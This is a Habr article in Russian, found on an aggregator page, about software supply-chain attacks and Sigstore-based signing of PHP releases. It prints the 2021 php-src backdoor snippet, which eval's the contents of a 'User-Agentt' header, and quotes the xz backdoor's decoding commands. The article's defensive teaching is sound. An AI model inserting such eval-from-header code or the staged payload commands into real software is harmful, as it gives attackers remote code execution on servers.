惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Visual Studio Blog
爱范儿
爱范儿
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
雷峰网
雷峰网
V
V2EX
博客园_首页
Engineering at Meta
Engineering at Meta
博客园 - 聂微东
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Apple Machine Learning Research
Apple Machine Learning Research
GbyAI
GbyAI
H
Help Net Security
A
About on SuperTechFans
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Blog — PlanetScale
Blog — PlanetScale
W
WeLiveSecurity
云风的 BLOG
云风的 BLOG
D
Docker
Security Archives - TechRepublic
Security Archives - TechRepublic
Help Net Security
Help Net Security
N
News and Events Feed by Topic
Simon Willison's Weblog
Simon Willison's Weblog
G
Google Developers Blog
A
Arctic Wolf
T
The Blog of Author Tim Ferriss
博客园 - 叶小钗
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Google DeepMind News
Google DeepMind News
博客园 - 三生石上(FineUI控件)
aimingoo的专栏
aimingoo的专栏
Hacker News: Ask HN
Hacker News: Ask HN
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 司徒正美
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Privacy International News Feed
T
Troy Hunt's Blog
T
Tenable Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Recorded Future
Recorded Future
F
Fortinet All Blogs
D
DataBreaches.Net
B
Blog
T
Threat Research - Cisco Blogs
MyScale Blog
MyScale Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
The GitHub Blog
The GitHub Blog
Security Latest
Security Latest
M
MIT News - Artificial intelligence

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия
k2gl · 2026-06-16 · via Все публикации подряд на Хабре

В марте 2021 года в официальный Git-репозиторий PHP прилетели два коммита. Первый назывался невинно — [skip-ci] Fix typo, — а автором значился Расмус Лердорф (создатель языка). Его заметили и откатили — тогда атакующий запушил тот же код повторно, замаскировав коммит под возврат отката (Revert "Revert "[skip-ci] Fix typo"") и подписав его именем Никиты Попова (одного из ключевых разработчиков ядра). Оба коммита добавляли в интерпретатор бэкдор: если в HTTP-запросе присутствовал заголовок User-Agentt со значением, начинающимся на zerodium, PHP выполнял остаток значения этого заголовка — всё после префикса — как PHP-код. Удалённое выполнение кода в каждом, кто обновился бы до этой сборки.

Выглядел бэкдор так — несколько строк, добавленных в функцию php_zlib_output_compression_start() (файл ext/zlib/zlib.c), то есть в путь обработки практически любого HTTP-запроса:

// $_SERVER['HTTP_USER_AGENTT'] — это присланный клиентом заголовок "User-Agentt"
if ((enc = zend_hash_str_find(..., "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
    convert_to_string(enc);
    if (strstr(Z_STRVAL_P(enc), "zerodium")) {
        zend_eval_string(Z_STRVAL_P(enc) + 8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
    }
}

zend_eval_string() — это C-эквивалент пользовательской eval(): строка-аргумент исполняется как PHP-код. + 8 отрезает префикс zerodium (восемь символов), и всё, что шло в заголовке после него, выполнялось на сервере. Комментарий REMOVETHIS: sold to zerodium, mid 2017 атакующий оставил прямо в коде — циничная отсылка к брокеру эксплойтов Zerodium.

Ни Расмус, ни Никита этого не писали. Атака прошла через собственную Git-инфраструктуру PHP — git.php.net: коммиты запушили по HTTPS с парольной аутентификацией, и, скорее всего, утекла база паролей master.php.net — сам сервер, похоже, не взламывали. Поймали случайно: участники сообщества, просматривая уже запушенные коммиты, заметили странный код и спросили прямо под диффом, что тут делает zerodium. Команда PHP сделала выводы и перенесла канонический репозиторий на GitHub, отказавшись от собственной инфраструктуры.

Это удобная отправная точка, потому что в одном маленьком инциденте видны все болевые точки сразу. Доверие к подписи автора (которой не было — коммиты не были подписаны, имя в Author подделывается одной командой). Доверие к инфраструктуре (которую взломали). И главное — то, что между исходниками, которые вы читаете на код-ревью, и артефактом, который реально запускается у пользователя, лежит длинная цепочка, и атаковать можно любое её звено.

Эта статья — про то, как устроены атаки на эту цепочку, почему привычные ответы (GPG, хеши, «ну у нас же HTTPS») закрывают её лишь частично, и какой ответ за последние годы выработала индустрия. Сначала — карта местности (механика атак и модель угроз), затем подпишем и проверим релиз PHP-пакета — в CI и из кода. Кода во второй половине будет много.

Цепочка поставок: пять звеньев, каждое атакуют

«Цепочка поставок ПО» (software supply chain) звучит абстрактно, пока не разложить её на звенья. Возьмём путь обычной зависимости — от мысли разработчика до строчки в вашем vendor/:

разработчик → исходный код (git) → сборка (CI) → артефакт → реестр → ВЫ

Каждый стык — это точка, где артефакт можно подменить, и для каждой есть громкий реальный инцидент.

Звено 1. Исходный код и тот, кто его пишет

Самый прямой путь — попасть в исходники. Способов два: сломать инфраструктуру (как с git.php.net) или стать тем, кому доверяют.

Второе — это история event-stream (2018). Популярная npm-библиотека (миллионы загрузок в неделю), у выгоревшего мейнтейнера. К нему пришёл доброжелатель, предложил помощь, какое-то время добросовестно поддерживал пакет — и получил права публикации. После чего добавил зависимость flatmap-stream с вредоносным кодом, нацеленным на конкретный криптокошелёк (Copay). Вредонос жил в минифицированном коде опубликованного пакета и активировался только в окружении жертвы. Социальная инженерия против человека, а не против сервера.

Урок звена: «коммит сделал доверенный человек» и «коммиту можно доверять» — разные утверждения. Аккаунты угоняют, мейнтейнеров обманывают, доверие передают.

Звено 2. Сборка: разрыв между исходниками и артефактом

Тут живёт самая коварная атака последних лет — бэкдор в xz/liblzma (CVE-2024-3094, март 2024).

Её гениальность — в том, где прятался вредонос. Канонический Git-репозиторий xz был чист: на любом код-ревью вы видели нормальный код. Но пользователи (и сборочные системы дистрибутивов) скачивают не git-дерево, а release-tarball — отдельный архив, который мейнтейнер генерирует и выкладывает сам. И вот в tarball’е лежал файл build-to-host.m4, которого не было в Git. Во время сборки он раскодировал «испорченный» тестовый файл в скрипт, тот — следующий, и в итоге в liblzma встраивался объектный файл, компрометирующий проверку SSH-ключей на сервере.

Заметил это не аудитор кода, а Андрес Фройнд — инженер, который замерял производительность PostgreSQL и обратил внимание, что вход по SSH стал занимать примерно на полсекунды дольше обычного, а sshd — съедать заметно больше CPU. Потянул за ниточку — и размотал многолетнюю операцию по внедрению «доверенного» мейнтейнера.

Урок звена, и он центральный для всей статьи: то, что вы проверили в git, и то, что собралось и поехало к пользователю, — это не обязательно одно и то же. Если артефакт собирается где-то, куда вы не смотрите, чистота исходников ничего не гарантирует.

Стоит разобрать механику по шагам — она и есть лучшая иллюстрация тезиса «git ≠ tarball»:

  1. build-to-host.m4 — файл-макрос autoconf — лежал только в release-tarball’ах (5.6.0/5.6.1), в git его не было. Он исполнялся на стадии ./configure и искал в дереве «нужный» файл по сигнатуре:

    grep -aErls "#{4}\[\[:alnum:\]\]{5}#{4}$" $srcdir/ 2>/dev/null
  2. Полезную нагрузку несли два файла, замаскированных под тестовые данные декодера: tests/files/bad-3-corrupt_lzma2.xz (нулевая стадия) и tests/files/good-large_compressed.lzma (объектник + зашифрованный код). Для библиотеки-распаковщика бинарный мусор в tests/ — норма, на ревью не цепляет.

  3. Первая стадия извлекалась байтовой подстановкой и распаковкой — и результат уходил прямо в /bin/sh:

    cat tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  4. На стадии make скрипт доставал из второго файла ~88 КБ объектного кода и вмерживал его в liblzma, подменив функцию isarch_extension_supported() так, чтобы та вызывала getcpuid() из вредоносного объектника.

  5. getcpuid() оказывался IFUNC-резолвером — он гарантированно исполняется на раннем этапе динамической линковки, ещё до того как GOT/PLT помечаются read-only. Резолвер переписывал GOT, подменяя RSA_public_decrypt, — и в sshd (тянущем liblzma транзитивно через systemd) появлялся обход аутентификации по ключу атакующего.

Ни одной из этих стадий не было видно в git: ревьюер открывал репозиторий и видел чистый код.

Звено 3. CI/CD: атакуют конвейер

Раз артефакт собирает CI, то компрометация CI — это компрометация артефакта. Показательный случай — tj-actions/changed-files (CVE-2025-30066, март 2025), популярный GitHub Action, использовавшийся в более чем 23 000 репозиториев.

Атакующий скомпрометировал токен бота с правами на репозиторий и сделал страшное: переписал теги версий. Теги v1v45 — все, на которые ссылались чужие workflow, — были задним числом перенаправлены на один вредоносный коммит. Тот сканировал память раннера и выгребал секреты (токены, ключи, PAT) прямо в логи сборки, публично читаемые в открытых репозиториях.

Запомните эту деталь — переписанные теги. Она ниже превратится в конкретное правило защиты.

Урок звена: ваш билд исполняет чужой код (экшены, плагины, образы). Версия @v4 — это не фиксация, это «дай мне то, на что сейчас показывает тег v4», а тег может переехать.

Звено 4. Артефакт и реестр: подмена при доставке

Даже если исходники, сборка и CI чисты, артефакт ещё нужно доставить — через реестр (npm, PyPI, Packagist). Реестр — единая точка, и доступ к нему — это доступ ко всем потребителям.

Классика — ua-parser-js (октябрь 2021): у мейнтейнера угнали npm-аккаунт и опубликовали версии с криптомайнером и трояном для кражи паролей. Пакет с десятками миллионов загрузок в неделю. Через месяц — то же с coa и rc. Не тронули ни строки в Git — просто опубликовали вредоносную версию под доверенным именем.

Сюда же — тайпсквоттинг: пакет reqeusts вместо requests, расчёт на опечатку в composer require.

Урок звена: «скачано из официального реестра под правильным именем» не означает «опубликовано тем, кому вы доверяете, и из того кода, что вы видели».

Звено 5. PHP-специфика

Где во всём этом PHP и Composer? В нескольких чувствительных местах:

  • Скрипты и плагины Composer. post-install-cmd, post-autoload-dump и composer-плагины исполняют произвольный PHP во время composer install — то есть на машине разработчика и на CI. Вредоносная зависимость не ждёт продакшена, она срабатывает при установке.

  • Тайпсквоттинг на Packagist работает ровно так же, как в npm.

  • И ключевое для нашей темы: когда вы делаете composer require, Packagist по умолчанию отдаёт не подписанный мейнтейнером файл, а zipball, который GitHub генерирует из тега на лету. Его содержимое не зафиксировано побайтово и в принципе может меняться. Подписывать «то, что скачает composer» поэтому нечего — нет стабильного артефакта, под которым стоит подпись.

Последний пункт настолько важен (и настолько ограничивает то, что мы сможем сделать в практической половине), что повторю явно и вынесу отдельно.

Сразу честно, без иллюзий. Если вашу библиотеку ставят обычным composer install из Packagist — подпись артефакта пока не поможет. Composer скачивает не подписанный файл, а zipball, который GitHub генерирует из тега на лету; подписывать там попросту нечего. Подпись работает там, где артефакт — конкретный неизменный файл: PHAR, релизные tarball’ы, Docker-образы, внутренние реестры. И она в любом случае полезна как доказательство происхождения — «из какого коммита и каким workflow собрано». Подробно — ниже; пока просто держим это в уме.

Почему привычные ответы закрывают цепочку лишь частично

«Так это же решённая проблема — подписывайте релизы». Давайте посмотрим, почему существующие ответы не стали повсеместными.

GPG-подписи. Технически работают десятилетиями, но для массового потребителя так и не взлетели — и причина в ключах. Их надо сгенерировать, надёжно хранить, не потерять, ротировать, вовремя отозвать. Проверяющему — где-то взять правильный публичный ключ и решить, доверять ли ему (проблема, которую так и не решила «паутина доверия»). В итоге даже там, где подписи есть, их почти никто не проверяет. Показательно, что Packagist за всю историю так и не ввёл обязательную подпись пакетов.

Хеши в lock-файле. composer.lock фиксирует хеш содержимого пакета — и это полезно: гарантирует, что у всех в команде и на CI установится идентичный код. Но хеш отвечает на вопрос «тот же ли это байт-в-байт пакет, что и вчера», а не «кто его создал и можно ли ему доверять». Если первая же установка тянет скомпрометированную версию, lock честно зафиксирует её хеш.

composer audit и базы advisory. Незаменимая вещь, но про другое: они сверяют ваши зависимости с базой известных уязвимостей (CVE). С происхождением пакета это никак не связано: audit поймает известную дырявую версию, но не скажет, кто и из чего собрал пакет, и не заметит свежий бэкдор, которого ещё нет в базах.

«У нас HTTPS и фиксированные теги». HTTPS защищает канал в момент скачивания — от подмены по дороге, но не от того, что в реестре уже лежит вредоносная версия. А теги, как показал tj-actions, переезжают.

Ни один из этих механизмов не плох — просто каждый закрывает свой узкий участок. Не хватает того, что связывает артефакт с его происхождением проверяемым образом и не требует от каждого мейнтейнера возиться с ключами.

Ответ индустрии: Sigstore и подпись без ключей

Этот ответ оформился вокруг проекта Sigstore (под крылом Linux Foundation; им пользуются npm, PyPI, Kubernetes, Homebrew). Идея — убрать из подписи то, обо что она спотыкалась: долгоживущие ключи.

Звучит парадоксально: подпись без ключа. На деле ключ есть — он просто живёт минуты и нигде не хранится. Вот как подписывается артефакт в GitHub Actions (а это самый массовый сценарий):

  1. CI-джоба просит у GitHub OIDC-токен — JWT, в котором GitHub удостоверяет: «этот токен выдан workflow attest.yml репозитория acme/app на теге 1.2.3».

  2. На раннере генерируется одноразовая пара ключей — приватный живёт только в памяти джобы и исчезает вместе с ней.

  3. Fulcio (центр сертификации Sigstore) меняет OIDC-токен на X.509-сертификат сроком ~10 минут. В сертификат вшита identity из токена — URL workflow и ref.

  4. Артефакт (точнее, утверждение о нём) подписывается эфемерным ключом.

  5. Подпись публикуется в Rekor — публичном, неизменяемом журнале прозрачности.

  6. Сертификат + подпись + запись Rekor пакуются в self-contained “bundle”.

Три идеи, которые тут стоит разглядеть.

Identity вместо ключа. Сертификат удостоверяет не «Васю с таким-то ключом», а конкретный workflow конкретного репозитория на конкретном ref. Проверяющему не нужно добывать и доверять ничьему публичному ключу — он формулирует политику в терминах «подписано workflow attest.yml репозитория acme/app». Это и человекочитаемо, и не требует управления ключами.

Что именно «удостоверяет workflow» — стоит увидеть предметно. CI-джоба получает от GitHub OIDC-токен (JWT), и в его payload — не человек, а контекст запуска:

{
  "iss": "https://token.actions.githubusercontent.com",
  "aud": "sigstore",
  "sub": "repo:k2gl/dsse:ref:refs/tags/1.1.1",
  "repository": "k2gl/dsse",
  "workflow_ref": "k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1",
  "ref": "refs/tags/1.1.1",
  "sha": "d9716be40f51e2bc32f6328a4f1830dd12156a45",
  "event_name": "push",
  "runner_environment": "github-hosted"
}

Дальше Fulcio убеждается, что токен и правда выдал GitHub, и переносит эти поля в сам сертификат — в специальные расширения X.509 (Sigstore выделил под них свою OID-ветку 1.3.6.1.4.1.57264.1.*: туда попадают репозиторий, workflow, способ запуска сборки). А самое главное — идентичность сборщика — записывается в поле SAN сертификата как обычный URL:

SAN (URI): https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
issuer:    https://token.actions.githubusercontent.com

Вот это и есть «ключ» новой модели: не «Вася с отпечатком GPG», а «workflow attest.yml репозитория k2gl/dsse, запущенный по тегу 1.1.1». Проверяющая политика формулируется ровно в этих терминах — к ней вернёмся в практической половине.

Доверие смещается, а не исчезает. Важно быть честным: «нет ключей ни у кого» — неправда. Ключи есть у Fulcio, у Rekor, у корня доверия (его распространяет TUF — The Update Framework). Вы не избавились от доверия — вы сменили его адрес: вместо «доверяю GPG-ключу мейнтейнера» теперь «доверяю тому, что GitHub честно выдаёт OIDC-токены, а Fulcio и Rekor работают как заявлено». Это осознанный размен: доверенных сторон стало больше, но все они — публичная, наблюдаемая инфраструктура, а не приватный ключ в ноутбуке, который теряют и крадут.

Прозрачность как сдерживание. Rekor — журнал только-на-дозапись, как Certificate Transparency для TLS. Подпись нельзя сделать «тихо»: она становится публичной и неудаляемой записью. Для мейнтейнера это бесплатная сигнализация — если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно всем. Атакующий с полным контролем над репозиторием не может подписать незаметно.

Модель угроз: что подпись ловит, а что нет

Самое вредное, что можно сделать с подписью, — поверить, что она защищает от всего. Поэтому разложим честно. Подпись артефакта (build provenance — «доказательство сборки») утверждает ровно одно: «этот артефакт собрал вот этот workflow из вот этого коммита». Это происхождение, а не безвредность.

Атака

Поймает?

Почему

Подмена артефакта после сборки (реестр, зеркало, MITM)

Цифровая подпись не сойдётся с изменёнными байтами

Сборка «такого же» пакета на чужой машине

У атакующего нет OIDC-токена вашего репозитория — identity в сертификате будет чужой

Публикация под чужим именем из форка/другого workflow

Политика проверки требует конкретный репозиторий и workflow

Откат на старую уязвимую версию с её настоящей подписью

⚠️

Только если политика привязана к ожидаемой версии (пину тега); иначе старая версия пройдёт со своей валидной подписью

Вредоносный коммит попал в main, релиз собран из него

❌ детект / ✅ улика

Подпись валидна (происхождение настоящее!), но в Rekor навсегда зафиксировано, какой коммит и какой workflow это собрали

Скомпрометирован сам signing-workflow (через чужой экшен)

Любая джоба с правом подписи под вашей identity подпишет что угодно — поэтому к safety самого workflow требования жёсткие (см. ниже)

Угнан аккаунт мейнтейнера, релиз тегают «легально»

❌ детект / ✅ улика

Подпись настоящая; защита — на уровне доступа (ниже) и мониторинга журнала

Из таблицы не нужно делать вывод «подпись бесполезна против половины атак». Вывод другой: подпись закрывает самый длинный и незаметный участок — всё, что происходит с артефактом после коммита (сборку, упаковку, доставку, хранение). То, что было до коммита — кто и что влил в репозиторий, — это уже другая защита.

В стандарте SLSA эти две зоны так и разделяют: защита исходников и защита сборки. Подпись артефакта — про сборку. Она не отменяет защиту кода, но делает её проверяемой потом: без провенанса после инцидента вы только разводите руками («это не мы, это зеркало подменило»), а с ним — у вас доказательство, какой коммит и какая сборка выпустили заражённый файл.

Хорошая новость: бóльшая часть защиты исходников — не криптография, а гигиена доступа, и включается парой галочек: защищённая ветка main (только через PR с ревью), 2FA у всех с доступом, сторонние экшены по commit SHA вместо тега (помните переписанные теги tj-actions? SHA так не переедет), минимум прав у токенов и OIDC вместо вечных секретов. Конкретный YAML соберём ниже.

Где это уже работает — и при чём тут PHP

Это не теория из будущего. npm показывает бейдж provenance у пакетов, собранных в публичном CI. PyPI с конца 2024-го генерирует Sigstore-аттестации (PEP 740) по умолчанию — для пакетов, публикуемых через Trusted Publishing (OIDC вместо вечных токенов). Homebrew подписывает все свои bottles. Экосистемы Go, Rust, JS, Python, Ruby имеют официальных Sigstore-клиентов.

И это уже не только добрая воля реестров — за безопасность ПО взялись государства, и разработчику всё чаще нужно доказывать, из чего и как собран его продукт. США (указ EO 14028) требуют от поставщиков ПО для госорганов подписанную гарантию, что разработка велась безопасно. Евросоюз (Cyber Resilience Act) с 2027 года обязывает прикладывать к любому продукту с цифровой начинкой машиночитаемый состав — SBOM — и держать под контролем всю цепочку поставок, под крупные штрафы. Слова «Sigstore» в законах нет, но подпись и провенанс — самый практичный способ выполнить эти требования.

Тренд один: доверие смещается от долгоживущих ключей и токенов к keyless-подписи через OIDC, а provenance из опции превращается в дефолт на стороне реестра — SBOM и аттестация всё чаще идут в паре.

А PHP? Долгое время — пусто: ни верификатора Sigstore-бандлов, ни моделей аттестаций. Кое-что было (например, php-tuf — клиент TUF, выросший из нужд Drupal/Composer), но именно проверки Sigstore-подписей на чистом PHP не существовало. Дальше — закроем эту нишу руками.

Практика: к концу — одна команда

Подпишем релиз PHP-пакета в GitHub Actions (минимальная подпись — ~38 строк YAML, ноль секретов, ~10 секунд; показанный ниже полный workflow добавляет ещё публикацию артефактов и самопроверку), выложим подписанный артефакт и проверим его — и эталонным gh, и из PHP-кода. К концу вы получите вот это:

$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \
    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1
    
VERIFIED
subject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)
predicate: https://slsa.dev/provenance/v1    

Чистый PHP подтвердил: этот tarball собрал workflow attest.yml репозитория k2gl/dsse из тега 1.1.1, подпись настоящая, запись в журнале прозрачности на месте, а байты на диске — ровно те, что подписаны. Одной командой; а с локально сохранённым корнем доверия (--trusted-root) — полностью оффлайн, к этому вернёмся.

Всё, что ниже, прогнано на настоящем релизе — k2gl/dsse 1.1.1, подписанном в GitHub Actions. И отдельно: верификатор, которым мы будем пользоваться, проходит официальный sigstore-conformance — тот же тестовый набор, которым проверяют себя sigstore-go и sigstore-python — в полном объёме (v0.0.29, 134 verification-кейса), и этот прогон встроен в его CI.

Пять терминов, чтобы дальше читалось без сносок:

Термин

Одной строкой

Fulcio

центр сертификации Sigstore: меняет OIDC-токен на сертификат на ~10 минут с вшитой identity сборщика

Rekor

публичный неизменяемый журнал прозрачности: туда попадает каждая подпись

DSSE

формат конверта, в котором лежит и подписывается полезная нагрузка (тут — аттестация)

in-toto / SLSA provenance

стандартная структура «что за артефакт и как он собран» внутри конверта

trusted root

набор корневых ключей Fulcio/Rekor; распространяется через TUF, против него идёт вся проверка

Путь подписи: OIDC-токен → эфемерный ключ в памяти раннера → сертификат Fulcio → подпись DSSE → запись в Rekor → bundle. Проверка идёт в обратную сторону.

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подписываем релиз: один workflow

GitHub умеет всю описанную выше механику из коробки — фича называется Artifact Attestations. Для публичных репозиториев подпись идёт через публичный инстанс Sigstore бесплатно. Вот полный workflow, который подписывает релизы во всех моих репозиториях. Он не игрушечный — это рабочий attest.yml после прохождения аудита, поэтому в нём важны детали:

name: Attest

on:
  push:
    tags: ['[0-9]*.[0-9]*.[0-9]*']

permissions:
  contents: read

jobs:
  attest:
    name: Build provenance
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      attestations: write
      contents: read

    steps:
      - name: Checkout
        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3
        with:
          persist-credentials: false

      - name: Build release tarball
        run: |
          tarball="dsse-${GITHUB_REF_NAME}.tar.gz"
          git archive --format=tar.gz --prefix="dsse-${GITHUB_REF_NAME}/" --output="${tarball}" "${GITHUB_SHA}"
          echo "tarball=${tarball}" >> "$GITHUB_ENV"

      - name: Attest build provenance
        uses: actions/attest-build-provenance@a2bbfa25375fe432b6a289bc6b6cd05ecd0c4c32 # v4.1.0
        with:
          subject-path: ${{ env.tarball }}

      - name: Download attestation bundle
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh attestation download "${tarball}" --repo "${GITHUB_REPOSITORY}"
          mv sha256:*.jsonl "${tarball}.sigstore.jsonl"

      - name: Hand off signed artifacts
        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: signed-release
          path: |
            *.tar.gz
            *.sigstore.jsonl
          if-no-files-found: error

  release:
    name: Publish release assets
    needs: attest
    runs-on: ubuntu-latest
    permissions:
      contents: write

    steps:
      - name: Fetch signed artifacts
        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
        with:
          name: signed-release

      - name: Create release with assets
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release create "${GITHUB_REF_NAME}" \
            --repo "${GITHUB_REPOSITORY}" \
            --verify-tag \
            --title "${GITHUB_REF_NAME}" \
            --generate-notes \
            *.tar.gz *.sigstore.jsonl \
          || gh release upload "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" --clobber *.tar.gz *.sigstore.jsonl

  verify:
    name: Verify published release
    needs: release
    runs-on: ubuntu-latest
    permissions:
      contents: read

    steps:
      - name: Download release assets
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release download "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" \
            --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'

      - name: Verify attestation (online)
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}"

      - name: Verify attestation (offline bundle)
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}" --bundle *.sigstore.jsonl

Разберём решения — каждое из них следствие модели угроз из первой половины.

